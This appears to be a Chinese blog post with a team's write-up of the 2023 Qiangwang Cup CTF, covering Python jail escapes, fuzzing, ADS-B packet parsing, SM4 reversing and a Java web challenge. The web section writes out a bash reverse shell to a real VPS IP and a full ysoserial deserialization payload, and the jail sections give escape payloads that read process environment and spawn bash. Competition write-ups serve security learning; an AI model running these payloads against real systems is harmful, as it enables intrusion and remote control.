[ CTF ]【天格】战队WriteUp-第七届“强网杯”全国安全挑战赛

于 2024-05-07 18:57:42 发布
阅读量671 收藏 13
点赞数 21
文章标签： 安全 python chrome web安全 测试工具 sqlserver ddos
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/heike_Ch/article/details/138541971
版权

第七届“强网杯”全国安全挑战赛 2023.12.16~2023.12.17

文章目录
  • 【Misc】
  • * Pyjail ! It's myFILTER !!!
    • easyfuzz
    • 谍影重重2.0
    • 签到
    • Pyjail ! It’s myRevenge !!!
    •   * server_8F6C72124774022B.py
    • 问卷调查
  • 【Reverse】
  • * ezre
  • 【Web】
  • * happygame
  • 【强网先锋】
  • * 石头剪刀布
    • Trie
    • SpeedUp
    • ezre
    • ez_fmt
    • Babyre

【Misc】

Pyjail ! It’s myFILTER !!!

nc连接后我们先来看看

​
​ ┌──(root㉿penetration)-[/]
​ └─# nc 8.147.129.5 40072
​
_____ _ _ _ _ _____ _ _ ______ _____ _ _______ ______ _____ _ _
| __ \ () () | | | |_ | | ( ) | | | | | | ____| __ \ | | |
| |) | _ _ __ _ | | | | | | | ||/ ___ _ __ ___ _ | | | | | | | | | | | |) | | | |
| / | | || |/ | | | | | | | | __| / __| | '_ _ | | | | __| | | | | | | | __| | _ / | | |
| | | || || | (| | | | || | || | __ \ | | | | | | || | | | || || | | || | \ \ |||
|| _, || |_,||| () ||_| |/ || || ||_, |_| |||| ||| _\ (|)
/ |/ | / |
|// |__/

Python Version:python3.10
Source Code:

import code, os, subprocess
import pty
def blacklist_fun_callback(*args):
    print("Player! It's already banned!")

pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")

blacklist_words = [
    "subprocess",
    "os",
    "code",
    "interact",
    "pty",
    "pdb",
    "platform",
    "importlib",
    "timeit",
    "imp",
    "commands",
    "popen",
    "load_module",
    "spawn",
    "system",
    "/bin/sh",
    "/bin/bash",
    "flag",
    "eval",
    "exec",
    "compile",
    "input",
    "vars",
    "attr",
    "dir",
    "getattr"
    "__import__",
    "__builtins__",
    "__getattribute__",
    "__class__",
    "__base__",
    "__subclasses__",
    "__getitem__",
    "__self__",
    "__globals__",
    "__init__",
    "__name__",
    "__dict__",
    "._module",
    "builtins",
    "breakpoint",
    "import",
]

def my_filter(input_code):
    for x in blacklist_words:
        if x in input_code:
            return False
    return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
    input_code = eval(f"f'{input_code}'")
else:
    print("Player! Please obey the filter rules which I set!")

Can u input your code to escape >

分析一下：

​
​ import code, os, subprocess
​ import pty
​ def blacklist_fun_callback(*args):
​ print(“Player! It’s already banned!”)
​
pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")

blacklist_words = [
    "subprocess",
    "os",
    "code",
    "interact",
    "pty",
    "pdb",
    "platform",
    "importlib",
    "timeit",
    "imp",
    "commands",
    "popen",
    "load_module",
    "spawn",
    "system",
    "/bin/sh",
    "/bin/bash",
    "flag",
    "eval",
    "exec",
    "compile",
    "input",
    "vars",
    "attr",
    "dir",
    "getattr"
    "__import__",
    "__builtins__",
    "__getattribute__",
    "__class__",
    "__base__",
    "__subclasses__",
    "__getitem__",
    "__self__",
    "__globals__",
    "__init__",
    "__name__",
    "__dict__",
    "._module",
    "builtins",
    "breakpoint",
    "import",
]

def my_filter(input_code):
    for x in blacklist_words:
        if x in input_code:
            return False
    return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
    input_code = eval(f"f'{input_code}'")
else:
    print("Player! Please obey the filter rules which I set!")

主要目的是创建一个安全的环境，让用户在其中执行他们的代码，同时防止他们执行可能会破坏系统或获取敏感信息的代码。

  • 首先导入了一些Python模块，如code, os, subprocess和pty，然后定义了一个名为blacklist_fun_callback的函数，该函数只是打印一条消息，表示某个功能已被禁用。

  • 然后，将一些可能被恶意利用的函数和方法（如os.system, os.popen, subprocess.Popen, subprocess.call等）替换为blacklist_fun_callback，如果用户试图使用这些函数，他们只会看到一条消息，而不会实际执行任何操作。

  • 接下来，删除了所有引用的模块和blacklist_fun_callback函数，以防止用户直接访问它们。

  • 然后，提示用户输入他们想要执行的代码，并将其存储在input_code变量中。

  • 然后定义了一个名为blacklist_words的列表，其中包含一些可能被恶意利用的关键字。

  • my_filter函数接受用户输入的代码，并检查它是否包含blacklist_words列表中的任何关键字。如果包含，函数返回False，否则返回True。

  • 在一个while循环中执行用户的代码，只要它满足一些条件（如不包含{或}，是ASCII字符，不包含blacklist_words列表中的任何关键字，长度小于65等）。如果用户的代码不满足这些条件，代码将打印一条消息，提示用户遵守过滤规则。

然后尝试了好多方法，后来想着能不能直接读取环境变量，因为我自己出题的时候就经常忘记把环境变量flag=not flag。最后payload：

​
​ {print(open(“/proc/1/environ”).read())}

easyfuzz

​
​ ┌──(root㉿penetration)-[/]
​ └─# nc 120.24.69.11 12199
​ Enter a string (should be less than 10 bytes):

一开始我也没明白什么意思，然后随便输了点东西

​
​ ┌──(root㉿penetration)-[/]
​ └─# nc 120.24.69.11 12199
​ Enter a string (should be less than 10 bytes): 5641d
​ Here is your code coverage: 000000000
​ Please try again. If you can reach all 1 in the coverage, you will win!
​ Enter a string (should be less than 10 bytes):

大致明白了是要跟000000000相同的位数：

​
​ ┌──(root㉿penetration)-[/]
​ └─# nc 120.24.69.11 12199
​ Enter a string (should be less than 10 bytes): 5641d
​ Here is your code coverage: 000000000
​ Please try again. If you can reach all 1 in the coverage, you will win!
​ Enter a string (should be less than 10 bytes): 222222222
​ Here is your code coverage: 110000000
​ Please try again. If you can reach all 1 in the coverage, you will win!
​ Enter a string (should be less than 10 bytes): df2222222
​ Here is your code coverage: 110000000
​ Please try again. If you can reach all 1 in the coverage, you will win!
​ Enter a string (should be less than 10 bytes): 111111111
​ Here is your code coverage: 110000000
​ Please try again. If you can reach all 1 in the coverage, you will win!
​ Enter a string (should be less than 10 bytes):

发现规律是前面两个可以是任意的字母或数字，后面就要一个个去试了

​
​ xxqwbGood

qwb{YouKnowHowToFuzz!}

谍影重重2.0

提供了一个attach.pcapng文件，根据题目内容以及通过观察数据包的话是ADS-B数据解析。

为了方便处理我们把它转换成JSON格式

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/fea28a8ed9a940fbaba43b5b8df60785.png#pic_center)

在ADS-B (Automatic Dependent Surveillance-Broadcast)
系统中，飞机广播的信息被编码为多种不同的消息类型，每种类型的消息都有一个特定的类型码（Type
Code）。这些类型码用于区分消息中包含的数据类型，例如飞机的身份、位置、速度等。

根据ADS-B协议的规范来的。具体来说：

  • 类型码19通常用于表示地面速度信息。
  • 类型码20到22用于表示空中速度信息。

这些类型码定义了消息中包含的数据字段，以及如何解析这些字段以获取飞机的速度和航向等信息。

这些信息通常可以在ADS-B协议的官方文档或相关的航空通信标准文档中找到。例如，ICAO（国际民用航空组织）的文档就详细描述了ADS-
B消息的格式和内容，包括不同类型码的含义。

在处理ADS-
B数据时，解析器会根据这些类型码来解析消息内容，并提取出相应的飞机速度信息。因此，通过检查类型码来确定哪些消息包含了速度信息，并据此提取和分析数据。

​
​ import json
​ import pyModeS as pms
​ import hashlib
​
# 打开并读取json文件
with open(‘attach.json’, ‘r’, encoding=‘utf-8’) as file:
data = json.load(file)

# 初始化一个空列表来存储信息
info = []

# 遍历json数据中的每个数据包
for packet in data:
    # 检查数据包是否包含'tcp'层
    if 'layers' in packet['_source'] and 'tcp' in packet['_source']['layers']:
        tcp_layer = packet['_source']['layers']['tcp']

        # 检查'tcp'层是否包含有效载荷
        if 'tcp.payload' in tcp_layer:
            # 如果有，将其添加到info列表中
            tcp_payload = tcp_layer['tcp.payload'].replace(':','')
            info.append(tcp_payload)

# 初始化一个空列表来存储飞机数据
planes_data = []

# 遍历info列表中的每个元素
for i in info:
    # 提取出有效载荷中的消息部分
    msg = i[18:]
    # 检查消息的类型码是否在19到22之间（这些类型码对应的是飞机的速度信息）
    if pms.adsb.typecode(msg) >= 19 and pms.adsb.typecode(msg) <= 22:
        # 如果是，提取出飞机的ICAO代码和速度信息
        icao = pms.adsb.icao(msg)
        velocity_info = pms.adsb.velocity(msg)
        speed, track, vertical_rate, _ = velocity_info

        # 将这些信息存储在一个字典中，并将该字典添加到planes_data列表中
        plane_info = {
            "icao": icao, 
            "speed": speed, 
            "track": track, 
            "vertical_rate": vertical_rate
            }
        planes_data.append(plane_info)

# 找出速度最快的飞机
fastest_plane = max(planes_data, key=lambda x: x['speed'])

# 打印出该飞机的ICAO代码的MD5哈希值
print("flag{"+hashlib.md5(fastest_plane['icao'].upper().encode()).hexdigest()+"}")

签到

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/fb8bb3d68fa04e769690fa56c9d1cb49.png#pic_center)

flag{welcome_to_qwb_2023}

Pyjail ! It’s myRevenge !!!

​
​ ┌──(root㉿penetration)-[/]
​ └─# nc 8.147.133.154 29942
​
_____ _ _ _ _ _____ _ _ ______ _____ _ _______ ______ _____ _ _
| __ \ () () | | | |_ | | ( ) | | | | | | ____| __ \ | | |
| |) | _ _ __ _ | | | | | | | ||/ ___ _ __ ___ _ | | | | | | | | | | | |) | | | |
| / | | || |/ | | | | | | | | __| / __| | '_ _ | | | | __| | | | | | | | __| | _ / | | |
| | | || || | (| | | | || | || | __ \ | | | | | | || | | | || || | | || | \ \ |||
|| _, || |_,||| () ||_| |/ || || ||_, |_| |||| ||| _\ (|)
/ |/ | / |
|// |__/

Python Version:python3.10
Source Code:

import code, os, subprocess
import pty
def blacklist_fun_callback(*args):
    print("Player! It's already banned!")

pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")

blacklist_words_var_name_fake_in_local_real_in_remote = [
    "subprocess",
    "os",
    "code",
    "interact",
    "pty",
    "pdb",
    "platform",
    "importlib",
    "timeit",
    "imp",
    "commands",
    "popen",
    "load_module",
    "spawn",
    "system",
    "/bin/sh",
    "/bin/bash",
    "flag",
    "eval",
    "exec",
    "compile",
    "input",
    "vars",
    "attr",
    "dir",
    "getattr"
    "__import__",
    "__builtins__",
    "__getattribute__",
    "__class__",
    "__base__",
    "__subclasses__",
    "__getitem__",
    "__self__",
    "__globals__",
    "__init__",
    "__name__",
    "__dict__",
    "._module",
    "builtins",
    "breakpoint",
    "import",
]

def my_filter(input_code):
    for x in blacklist_words_var_name_fake_in_local_real_in_remote:
        if x in input_code:
            return False
    return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
    input_code = eval(f"f'{input_code}'")
else:
    print("Player! Please obey the filter rules which I set!")

Can u input your code to escape >

先来分析一下：

​
​ import code, os, subprocess
​ import pty
​ def blacklist_fun_callback(*args):
​ print(“Player! It’s already banned!”)
​
pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")

blacklist_words_var_name_fake_in_local_real_in_remote = [
    "subprocess",
    "os",
    "code",
    "interact",
    "pty",
    "pdb",
    "platform",
    "importlib",
    "timeit",
    "imp",
    "commands",
    "popen",
    "load_module",
    "spawn",
    "system",
    "/bin/sh",
    "/bin/bash",
    "flag",
    "eval",
    "exec",
    "compile",
    "input",
    "vars",
    "attr",
    "dir",
    "getattr"
    "__import__",
    "__builtins__",
    "__getattribute__",
    "__class__",
    "__base__",
    "__subclasses__",
    "__getitem__",
    "__self__",
    "__globals__",
    "__init__",
    "__name__",
    "__dict__",
    "._module",
    "builtins",
    "breakpoint",
    "import",
]

def my_filter(input_code):
    for x in blacklist_words_var_name_fake_in_local_real_in_remote:
        if x in input_code:
            return False
    return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
    input_code = eval(f"f'{input_code}'")
else:
    print("Player! Please obey the filter rules which I set!")

大致可以是一个安全性过滤器，它的主要目的是防止用户执行一些可能会对系统造成危害的操作。这是通过在代码中禁止一些可能会被恶意利用的函数和模块来实现的。
​
首先，定义了一个名为blacklist_fun_callback的函数，它会在被调用时打印一条消息。然后，将一些可能被恶意利用的函数和模块，如os.system、subprocess.Popen等，都替换为这个函数。这样，如果用户试图使用这些函数或模块，就会失败，而只会看到定义的消息。
​
接下来，定义了一个名为blacklist_words_var_name_fake_in_local_real_in_remote的列表，其中包含了一些可能会被恶意利用的关键词。这些关键词包括一些可能会被用来执行恶意代码的函数名、模块名和路径等。
​ 然后，定义了一个名为my_filter的函数，它会检查用户输入的代码中是否包含这些关键词。如果包含，函数将返回False，否则返回True。
​
最后，使用一个while循环来接收并处理用户的输入。只有当用户的输入满足所有的条件（不包含大括号，只包含ASCII字符，不包含黑名单中的关键词，长度小于65，且不包含"eval"）时，输入的代码才会被执行。否则，将打印一条消息提示用户遵守过滤规则。

目标很明确，就是绕过代码中的安全过滤器，利用Python的动态特性和字符串格式化来绕过过滤器的限制以执行任意代码并最终获取shell访问。

首先可以清空blacklist_words_var_name_fake_in_local_real_in_remote列表，my_filter函数就不会再过滤任何输入。假设黑名单被清空，那么此时就可以使用eval函数，为了保险起见要通过拼接字符串来获取eval函数，绕过直接使用eval关键词的限制。然后通过__import__函数导入os模块绕过直接使用os关键词的限制，使用os.execv函数执行/bin/bash打开一个新的bash shell。最后payload：

​
​ {list(locals().values())[-2].clear()}‘+’“{‘+‘in’+‘put()’+’}”
​ {builtins.dict"ev"+“al”}
​ {builtins.dict"import".execv(“/bin/bash”,[“/bin/bash”])}

server_8F6C72124774022B.py

​
​ import code, os, subprocess
​ import pty
​
WELCOME = ‘’’
_____ _ _ _ _ _____ _ _ ______ _____ _ _______ ______ _____ _ _
| __ \ () () | | | |_ | | ( ) | | | | | | ____| __ \ | | |
| |) | _ _ __ _ | | | | | | | ||/ ___ _ __ ___ _ | | | | | | | | | | | |) | | | |
| / | | || |/ | | | | | | | | __| / __| | '_ _ | | | | __| | | | | | | | __| | _ / | | |
| | | || || | (| | | | || | || | __ \ | | | | | | || | | | || || | | || | \ \ |||
|| _, || |_,||| () ||_| |/ || || ||_, |_| |||| ||| _\ (|)
/ |/ | / |
|// |__/
‘’’

SOURCE_CODE = '''
import code, os, subprocess
import pty
def blacklist_fun_callback(*args):
    print("Player! It's already banned!")

pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")

blacklist_words_var_name_fake_in_local_real_in_remote = [
    "subprocess",
    "os",
    "code",
    "interact",
    "pty",
    "pdb",
    "platform",
    "importlib",
    "timeit",
    "imp", 
    "commands",
    "popen",
    "load_module",
    "spawn",
    "system",
    "/bin/sh",
    "/bin/bash",
    "flag",
    "eval",
    "exec",
    "compile",
    "input",
    "vars",
    "attr",
    "dir",
    "getattr"
    "__import__",
    "__builtins__",
    "__getattribute__",
    "__class__",
    "__base__",
    "__subclasses__",
    "__getitem__",
    "__self__",
    "__globals__",
    "__init__",
    "__name__",
    "__dict__",
    "._module",
    "builtins",
    "breakpoint",
    "import",
]

def my_filter(input_code):
    for x in blacklist_words_var_name_fake_in_local_real_in_remote:
        if x in input_code:
            return False
    return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
    input_code = eval(f"f'{input_code}'")
else:
    print("Player! Please obey the filter rules which I set!")
'''

def blacklist_fun_callback(*args):
    print("Player! It's already banned!")

pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback

print(WELCOME)
print("Python Version:python3.10")
print("Source Code:")
print(SOURCE_CODE)
input_code = input("Can u input your code to escape > ")

b1acklist_blacklist_blAcklist_blaCklist_b1acklisT_blackliSt_blAcklist_BlaCklist_blackList_words_516aedf48aa3c55c80799e24779be120 = [
    "subprocess",
    "os",
    "code",
    "interact",
    "pty",
    "pdb",
    "platform",
    "importlib",
    "timeit",
    "imp", 
    "commands",
    "popen",
    "load_module",
    "spawn",
    "system",
    "/bin/sh",
    "/bin/bash",
    "flag",
    "eval",
    "exec",
    "compile",
    "input",
    "vars",
    "attr",
    "dir",
    "getattr"
    "__import__",
    "__builtins__",
    "__getattribute__",
    "__class__",
    "__base__",
    "__subclasses__",
    "__getitem__",
    "__self__",
    "__globals__",
    "__init__",
    "__name__",
    "__dict__",
    "._module",
    "builtins",
    "breakpoint",
    "import",
]

def my_filter(input_code):
    for x in b1acklist_blacklist_blAcklist_blaCklist_b1acklisT_blackliSt_blAcklist_BlaCklist_blackList_words_516aedf48aa3c55c80799e24779be120:
        if x in input_code:
            return False
    return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
    input_code = eval(f"f'{input_code}'")
else:
    print("Player! Please bypass my filter !")

​

问卷调查

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/7e369f693a444db2ab35f33d6e846c40.png#pic_center)

flag{see_you_again_qwb_s8}

【Reverse】

ezre

一开始想随便看看的，但是后来发现了什么

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/8bbdd24e9fb047e2bcb50ad4267f760d.png#pic_center)

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/4e522079be024802b99453d368d1fe22.png#pic_center)

这不就是SM4加密

密钥：

​
​ 01 23 45 67 89 AB CD EF 01 23 45 67 89 AB CD EF

密文：

​
​ 06 75 19 47 16 63 88 7C
​ 8B 66 55 FF 3F 7D 0D 4A
​ F5 D2 4E 38 3F E9 C2 DE
​ DB 7C 7F 6F 74 B1 1F 3C

解密：

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/7f9f7b351d964eb1ae5f0c54dbea55e6.png#pic_center)

​
​ 66 6c 61 67 7b 68 33 6b 6b 30 5f 77 30 72 6c 64 5f 73 75 72 33 5f 33 6e 30 75 67 68 7d 00 00 00

看到关键的666c就是fl的前缀了，十六进制转字符串：

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/8ea9412c53aa4b298a7e971570a0e2f4.png#pic_center)

flag{h3kk0_w0rld_sur3_3n0ugh}

【Web】

happygame

这里要用到这个工具：https://github.com/Y4er/ysoserial，https://jitpack.io/com/github/Y4er/ysoserial/main-
SNAPSHOT/ysoserial-main-
SNAPSHOT.jar，还有grpcui.exe。然后顺带准备一台VPS（139.159.215.68）。

​
​ /bin/bash -i >& /dev/tcp/139.159.215.68/6767 0>&1
​ base64编码：
​ L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEzOS4xNTkuMjE1LjY4LzY3NjcgMD4mMQ==

然后：

​
​ CommonsCollections6 “bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEzOS4xNTkuMjE1LjY4LzY3NjcgMD4mMQ==}|{base64,-d}|{bash,-i}” | base64 | tr -d “\n”

​
​
​ ┌──(root㉿penetration)-[/]
​ └─# java -jar ysoserial-main-cff1edf282-1.jar CommonsCollections6 “bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEzOS4xNTkuMjE1LjY4LzY3NjcgMD4mMQ==}|{base64,-d}|{bash,-i}” | base64 | tr -d “\n”
​ rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AGliYXNoIC1jIHtlY2hvLEwySnBiaTlpWVhOb0lDMXBJRDRtSUM5a1pYWXZkR053THpFek9TNHhOVGt1TWpFMUxqWTRMelkzTmpjZ01ENG1NUT09fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==

Terminal执行：

​
​ grpcui.exe -plaintext 8.147.129.191:26804

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/e3379cb9a14749acbcfae5fb6cb308fa.png#pic_center)

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/6f2e45f7fddc4c92b7d58e7e21d413af.png#pic_center)

选择Raw Request，Request payload：

​
​ {“serializeData”: “rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AGliYXNoIC1jIHtlY2hvLEwySnBiaTlpWVhOb0lDMXBJRDRtSUM5a1pYWXZkR053THpFek9TNHhOVGt1TWpFMUxqWTRMelkzTmpjZ01ENG1NUT09fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==”}

VPS上进行监听：

​
​ root@ecs-74b2:~# nc -lvnp 6767
​ Listening on 0.0.0.0 6767

​

然后点击Invoke

![在这里插入图片描述](https://img-
blog.csdnimg.cn/direct/1ada50c626ea4b20b3afcf28e6d73903.png#pic_center)

回到服务器上就可以正常反弹shell了：

![在这里插入图片描述](https://img-
